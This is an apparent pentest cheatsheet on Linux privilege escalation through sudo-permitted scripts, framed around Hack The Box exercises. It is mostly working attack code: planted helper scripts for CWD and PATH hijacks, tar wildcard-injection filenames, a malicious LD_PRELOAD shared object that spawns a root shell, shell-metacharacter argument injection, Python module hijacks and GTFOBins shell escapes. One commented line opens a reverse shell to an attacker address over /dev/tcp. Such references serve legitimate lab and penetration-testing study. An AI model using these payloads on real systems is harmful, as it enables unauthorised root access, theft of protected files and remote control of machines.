⬅ IndexCheatsheets

Script & Sudo Abuse — Privilege Escalation Quick Reference

TitleScript & Sudo Abuse — Privilege Escalation Quick Reference
CategoryCheatsheets
DescriptionPrivesc prin script-uri și binare sudo/SUID: variabile de mediu, wildcards, comenzi permisive (find, tar, vi, awk, python...).
Updated2026-08-17

Script & Sudo Abuse — Privilege Escalation Quick Reference

Complements linux-privesc.md (binary-level sudo/SUID). This one is about
scripts you can run with sudo — the bugs are in HOW the script calls things.


TL;DR — When sudo -l Shows a Script

sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/system-checkup.py *

Read the script FIRST. You are looking for one of these bugs:

Bug Pattern in script Attack
CWD hijack runs ./helper.sh or a relative path plant a malicious file in the CWD where sudo runs
PATH hijack calls tar, python, ls without absolute path plant a malicious binary earlier in PATH
Wildcard injection tar czf x.tar.gz *, chmod 777 *, chown * craft filenames that expand into options
Arg injection script passes your input to system()/popen()/subprocess inject shell metacharacters
LD_PRELOAD sudo has env_keep+=LD_PRELOAD preload a malicious .so
Module hijack python script imports from CWD / writable dir plant a malicious module

1. Read the Script — Checklist

# Read every script you can sudo
cat /opt/scripts/system-checkup.py

# Look for:
grep -nE "system\(|popen\(|subprocess|os\.system|exec" script.py   # shell calls
grep -nE "\./|\.\./|sh [a-z]|bash [a-z]" script.py                 # relative paths
grep -nE "import |require|include" script.py                       # module loads
grep -nE "tar |chmod |chown |rsync |zip " script.py                # wildcard candidates

2. CWD Hijack — the Busqueda Pattern (HTB)

The script runs a helper from the current working directory:

# /opt/scripts/system-checkup.py (simplified)
elif action == "full-checkup":
    os.system("./full-checkup.sh")     # ← runs from YOUR cwd!
# 1. Plant a malicious full-checkup.sh in /tmp
cat > /tmp/full-checkup.sh << 'EOF'
#!/bin/bash
cp /root/root.txt /tmp/rootflag.txt && chmod 644 /tmp/rootflag.txt
# or: bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
EOF
chmod +x /tmp/full-checkup.sh

# 2. Run sudo FROM /tmp — the script picks up YOUR file
cd /tmp
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

# 3. Profit — check /tmp/rootflag.txt or catch the shell

Key insight: sudo doesn't change the CWD — the script's relative
./full-checkup.sh resolves to your directory.


3. PATH Hijack

The script calls a binary by bare name:

os.system("system-checkup.sh docker-ps")   # or "tar ...", "python ..."
# Case A: script runs WITHOUT sudo (e.g. via cron / your user) — PATH is yours
echo -e '#!/bin/bash\ncp /root/root.txt /tmp/r.txt; chmod 644 /tmp/r.txt' > /tmp/tar
chmod +x /tmp/tar
PATH=/tmp:$PATH ./script            # or trigger the cron

# Case B: script runs WITH sudo — check if secure_path is set
sudo -l                                # if "secure_path" appears, PATH is locked
grep -r secure_path /etc/sudoers /etc/sudoers.d/ 2>/dev/null
# If secure_path is NOT set, sudo inherits your PATH → same trick works

Note: modern distros set secure_path by default, so PATH hijack via sudo
often fails — CWD hijack and wildcard injection are the more reliable bets.


4. Wildcard Injection

The script expands * into filenames, and the filenames become arguments:

tar (GNU) — --checkpoint-action=exec

# Script: tar czf /tmp/backup.tar.gz *
cd /tmp
echo 'cp /root/root.txt /tmp/r.txt; chmod 644 /tmp/r.txt' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
tar czf /tmp/backup.tar.gz *     # → tar runs shell.sh as the script's user

chown — --reference

# Script: chown root:root *
touch -- '--reference=/etc/shadow' x     # copies /etc/shadow's owner to x

rsync / zip / cp

# rsync: -e option injection via filenames
touch -- '-e sh shell.sh'                # rsync -e executes a command

# zip: zipnote -b on a crafted zip

5. LD_PRELOAD via sudo (env_keep)

If sudo -l shows env_keep+=LD_PRELOAD (or env_reset is off), preload a .so:

// evil.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/any-command-you-can-sudo
# → root shell

Check: sudo -l output or grep env_keep /etc/sudoers


6. Python Module / PYTHONPATH Hijack

The sudo'd python script imports modules — if one of them can be shadowed:

# script.py: import requests / import config / from helpers import run
# If the script runs from a writable dir, or PYTHONPATH is honored:
echo 'import os; os.system("/bin/bash")' > /tmp/requests.py
cd /tmp && sudo python3 /opt/scripts/script.py      # imports YOUR requests.py

# Or with PYTHONPATH (if not stripped by sudo):
sudo PYTHONPATH=/tmp python3 /opt/scripts/script.py

7. Arg / Action Injection — script passes your input to a shell

# script.py
action = sys.argv[1]
os.system(f"system-checkup.sh {action}")     # ← your input reaches the shell
sudo /usr/bin/python3 /opt/scripts/system-checkup.py 'docker-ps; bash'
sudo /usr/bin/python3 /opt/scripts/system-checkup.py "$(cat /root/root.txt > /tmp/r.txt)"
# semicolons, $(), backticks, && all work if the input isn't sanitized

8. GTFOBins — sudo on a BINARY (from linux-privesc.md)

# If sudo -l shows a binary instead of a script — GTFOBins it
# https://gtfobins.github.io
sudo find . -exec /bin/sh \;      # find
sudo vim -c '!bash'               # vim
sudo less /etc/shadow             # less → !bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo env /bin/bash                # env

9. Enumeration Checklist (Script-Focused)

sudo -l                                                          # #1 always
find / -type f \( -name "*.sh" -o -name "*.py" \) -writable 2>/dev/null
grep -rnE "os\.system|system\(|popen|subprocess" /opt /usr/local/bin 2>/dev/null
grep -rnE "\./|\.\./" /opt /usr/local/bin 2>/dev/null             # relative calls
cat /etc/crontab; ls /etc/cron.d/                                 # cron + PATH/relative
sudo -l | grep -iE "env_keep|secure_path|NOPASSWD"                # sudo config

References